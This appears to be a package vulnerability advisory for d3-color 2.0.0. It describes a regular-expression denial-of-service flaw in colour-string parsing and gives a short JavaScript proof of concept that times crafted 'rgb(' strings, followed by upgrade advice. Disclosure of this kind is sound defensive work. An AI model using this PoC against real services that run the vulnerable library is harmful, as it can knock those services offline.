d3-color@2.0.0 vulnerabilities

d3-color is a Color spaces! RGB, HSL, Cubehelix, Lab and HCL (Lch).

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the rgb() and hrc() functions.

PoC by Yeting Li:

var d3Color = require("d3-color")
// d3Color.rgb("rgb(255,255,255)")

function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += "1"
    }
    return ret + "!";
}

for(var i = 1; i <= 5000000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_blank(i)
        d3Color.rgb(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

Upgrade d3-color to version 3.1.0 or higher.